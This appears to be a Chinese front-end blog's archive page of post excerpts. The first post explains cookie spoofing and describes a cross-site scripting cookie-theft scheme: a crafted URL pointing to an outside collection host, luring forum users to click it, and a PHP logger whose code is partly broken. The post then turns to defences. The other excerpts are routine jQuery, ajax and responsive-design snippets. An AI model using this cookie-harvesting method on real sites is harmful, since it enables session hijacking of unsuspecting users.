分类目录归档:WEB前端

Cookie欺骗及反欺骗 论cookie安全

Cookie文件不能作为代码执行,也不会传送病毒,它为用户所专有并只能由创建它的服务器来读取。 浏览器一般只允许存放300个Cookie, 每个站点最多存放20个Cookie, 每个Cookie的大小限制为4KB, Cookie代表了你的身份,那么安全性就有得考虑了。 1.Cookie欺骗: Cookie记录了用户的帐户ID、密码之类的信息,通常使用MD5方法加密后在网上传递。经过加密处理后的信息即使被网络上一些别有用心的人截获也看不懂。然而,现在存在的问题是,截获Cookie的人不需要知道这些字符串的含义,只要把别人的Cookie向服务器提交,并且能够通过验证,就可以冒充受害人的身份登陆网站,这种行为叫做Cookie欺骗。 别人穿了你的衣服,冒充你去做了新郎 2.Cookie截获 Cookie以纯文本的形式在浏览器和服务器之间传送,很容易被他人非法截获和利用。任何可以截获Web通信的人都可以读取Cookie。  这个就是一些新手,还有一些网站,傻乎乎的把用户的账户和密码,明文在互联网上传送。核心信息都是加密传送的。记住一点,你发出的任何经过浏览器的信息,提交的表单,不仅仅服务器知道,还有网络传送过程的经历的那些路由器 Cookie截获 http://www.XXX.net/tXl/login/login.pl?username=&passwd=&ok.X=28&ok.y=6;
将其中”“更换为:
”“再试,如果执行成功,就开始构造URL:
http://www.XXX.net/tXl/login/login.pl?username=&passwd=&ok.X=28&ok.y=6.
其中http://www.cbifamily.org/cbi.php是用户能够控制的某台主机上的一个脚本。需要注意的是”%2b”为符号”+”的URL编码,因为”+”将被作为空格处理。该URL即可在论坛中发布,诱使别人点击。
 步骤二:编制收集Cookie的PHP脚本,并将其放到用户可以控制的网站上,当不知情者点击了构造的URL后可以执行该PHP代码。该脚本的具体内容如下: <?php  $info=getenv("OUERY_STRING");  if($info){   $fp=fopen("info.tXt","a");   fwrite($fp,!info."\n");  fclose($fp); }  header("Location:http://www.XXX.net"); ?> 将这段代码放到网络里,则能够收集所有人的Cookie。如果一个论坛允许HTML代码或者允许使用Flash标签,就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可收集到大量的Cookie。在论坛上,有许多人的密码就是被这种方法盗走的。  明白为啥那么多安全团队都会明确指出你的search.php的参数,可以注入javascript脚本是多么的危险啊 废话那么多。只是我好奇 如何防止cookie被伪装,盗取 答案1:不用cookie,用session (session的硬伤是无法做到保持用户一年免输入密码登录) 答案2:用cookie,但是我加密 比如常规情况下我保存一个cookie username setcookie("username",$username); 现在我保存2个 username, token setcookie("username",$username); setcookie("token",$token); $token 是怎么来的 … 继续阅读

发表在 JAVA, PHP, WEB前端 | 标签为 , , | 留下评论

改写系统alert的弹出浮层的JS

//改写alert window.alert = function(txt) { var borderColor = "#999"; var title = "[月小升博客提示]"; var shield = document.createElement("DIV"); shield.id = "shield"; shield.style.position = "absolute"; shield.style.left = "0px"; shield.style.top = "0px"; shield.style.width = "100%"; shield.style.height = document.body.scrollHeight+"px"; shield.style.background = "#333"; shield.style.textAlign = … 继续阅读

发表在 WEB前端 | 标签为 , | 留下评论

多屏自适应的优缺点

不停有客户来问,多屏自适应的优点和缺点,近期进行了一些总结 优点 1.跨平台。
在手机,pad,电脑上均有的表现。

2.表现力一致
在不同的平台上看到的东西都是基本一致的,会让感觉体验良好。 是的这一个优点,就足够我们去努力做了。 2.一套底层代码,一套底层数据。不需要维护多个界面。比如我们要改用户昵称改成用户名称,只需要在一个界面上修改代码,只改一次。而如果我们做了移动版,ipad版,PC版,需要改3次 缺点 
1.单个页面的工时变长,一套代码的背后是多套图片和设计,因为需要一套代码适应多个屏幕,所以会有大量的编码工作。
 2.设计思想理解的不够深的情况下会感觉框架灵活性较差,UI上可发挥的空间比较小,会造成在一些局部耗费大量的时间进行推敲,比如 header footer的变化等。
 3.单个页面尺寸变大(可以用按需加载进行优化),可能会出现费流量,打开慢等情况。不过当前用户使用wifi访问占比比较高并无压力。 4.自由度低,局限性较大。
需要考虑在手机,pad,PC上三种屏幕下的页面内元素的呈现,会导致有着非常大的局限,需要根据业务做一个平衡选择。 
5.页面会比较大,在当前国内2G,3G网络下打开速度会比较慢。
由于响应式页面是同时下载多套CSS样式代码,可能在手机上就下载PC/pad的冗余代码,其实毫无意义,而且浪费了流量资源。
 6.对于非webkit内核的浏览器支持极差(IE6,7,8不支持)。
现在的IOS,Android都是webkit内核,至少在80%以上的手机上可以有良好的呈现。 综上,对于简单的页面,建议多屏自适应,对于表现复杂的页面,多套开发。

发表在 WEB前端 | 标签为 , , | 留下评论

ajax提交表单 浏览器记住密码功能失效

现在流行ajax提交表单,但是副作用是浏览器自动记住输入框内容的功能就失效了。 其实浏览器是通过submit这个动作来检测。那么我模拟一次form 的 submit就好了。 下面是两句核心代码 onsubmit="return false;"   <input type="submit" id="signin" /> 以前我们可能用 <input type="button" id="signin" /> 修改前,我们连form都不需要 <div class="block"> <label>登录用户名</label> <input type="text" id="loginName" value=""/> </div> <div class="block"> <label>密码</label> <input type="password" id="password" value="" /> </div> <div class="block"> <input type="button" id="signin" … 继续阅读

发表在 WEB前端 | 标签为 , , | 留下评论

bootstrap 入门

利用一些现有的框架,写东西,还是比较轻松的。 <!DOCTYPE html> <html lang="zh-cn"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Bootstrap 101 Template</title>   <!– Bootstrap –> <link href="css/bootstrap.css" rel="stylesheet">   <link href="css/ge.css" rel="stylesheet">   <!– HTML5 shim and Respond.js for IE8 support of HTML5 … 继续阅读

发表在 WEB前端 | 标签为 , | 2 条评论

jquery ajax get 一个url,超级简单

$("#btn1").click(function(){ var hangye = $("#hangye").val(); $.get("help.php?act=eall&hangye="+hangye,function(data,status){ $("#stocks").html(data); //alert("Data: " + data + "\nStatus: " + status); }); });

发表在 WEB前端 | 标签为 , , | 留下评论

jquery 遍历元素

jquery 操作的确简便了很多。不多有不少东西要学。 <input type="button" value="张三1" code="zs001" > <input type="button" value="张三2" code="zs002" > <input type="button" value="张三3" code="zs003" > $("#btn2").click(function(){   $("input[myatt='code']:button").each(function(){ var code = $(this).val(); alert(code); });       }); $(“input[myatt='code']:button”).each(function(){ 在each里分别执行,就好了。

发表在 WEB前端 | 标签为 , | 留下评论

Jquery 的 ajax 提交超级编辑器 POST 出错

var title = $(‘#title’).val(); var picture = $(‘#picture’).val(); var content = $(".nicEdit-main").html(); var id = $("#id").val();   var data = ‘title=’ + title + ‘&content=’ + content + ‘&id=’ + id + ‘&istop=’ + istop; if(picture != ”){ data += … 继续阅读

发表在 PHP, WEB前端 | 标签为 , , | 留下评论

ajax jquery post图片流给服务器进行图片上传

纯ajax 图片上传,ajax来post图片流给服务器。 FormData 可以把post数据改成流传输。 <form id="frm"> <div id="box2" style="margin:0px auto; width:100%; min-height:150px; background:#FF9"> <input type="file" name="file1" id="file1" /> <input type="button" value="上传" id="upload"> </form>   //ajax 上传 $("#upload").click(function(){ var url = "http://mm.com/ajaxupload.php";   var formData = new FormData($( "#frm" )[0]); $.ajax({ … 继续阅读

发表在 PHP, WEB前端 | 标签为 , , | 留下评论

html5如何在IOS下自动播放音乐

html5如何在IOS下自动播放音乐 在iphone所有平台包含最新的iphone6 plus,都有效 另外有B格的魅族里也同样有效。 但是基于微信里打开。 <audio preload="preload" controls id="car_audio" src="http://s882ddd.com/pinpai2/images/222.mp3" loop></audio> <script> setTimeout(function(){ $(window).scrollTop(1); },0); document.getElementById(‘car_audio’).play(); document.addEventListener("WeixinJSBridgeReady", function () { WeixinJSBridge.invoke(‘getNetworkType’, {}, function (e) { document.getElementById(‘car_audio’).play(); }); }, false); </script>

发表在 WEB前端 | 标签为 , , , | 2 条评论